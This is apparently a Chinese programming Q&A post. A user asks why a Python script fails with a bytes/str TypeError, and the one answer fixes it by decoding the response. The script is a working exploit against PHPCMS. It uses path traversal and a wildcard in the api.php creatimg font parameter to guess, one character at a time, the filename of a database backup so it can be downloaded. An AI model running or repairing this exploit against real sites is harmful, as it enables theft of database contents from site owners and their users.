下面的python脚本，报错怎么解决？

Question

问题遇到的现象和发生背景

#!/usr/bin/env python
# coding=utf-8
'''
author: dysec
'''
import urllib.parse as urllib
import urllib.request as urllib2



def check(url):
    mark = True
    req = urllib2.Request(url)
    req.add_header('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')
    response = urllib2.urlopen(req)
    content = response.read()
    if 'Cannot' in content:
        mark = False
    return mark


def guest(target):
    arr = []
    num = map(chr, range(48, 58))
    alpha = map(chr, range(97, 123))
    exploit = '%s/api.php?op=creatimg&txt=dysec&font=/../../../../caches/bakup/default/%s%s<<.sql'
    while True:
        for char in num:
            if check(exploit % (target, ''.join(arr), char)):
                arr.append(char)
                continue

            if len(arr) < 20:
                for char in alpha:
                    if check(exploit % (target, ''.join(arr), char)):
                        arr.append(char)
                        continue

            elif len(arr) == 20:
                arr.append('_db_')

            elif len(arr) == 29:
                arr.append('_1.sql')
                break

            if len(arr) < 1:
                print
                '[*]not find!'
                return

            print
            '[*]find: %s/caches/bakup/default/%s' % (target, ''.join(arr))


if __name__ == "__main__":
    url = 'http://www.k.com/'
    # test
    guest(url)

Traceback (most recent call last):
  File "/root/Desktop/phpcms_sql.py", line 56, in <module>
    guest(url)
  File "/root/Desktop/phpcms_sql.py", line 27, in guest
    if check(exploit % (target, ''.join(arr), char)):
  File "/root/Desktop/phpcms_sql.py", line 15, in check
    if 'Cannot' in content:
TypeError: a bytes-like object is required, not 'str'

Answer 1

改成这样就好了：
content = response.read().decode()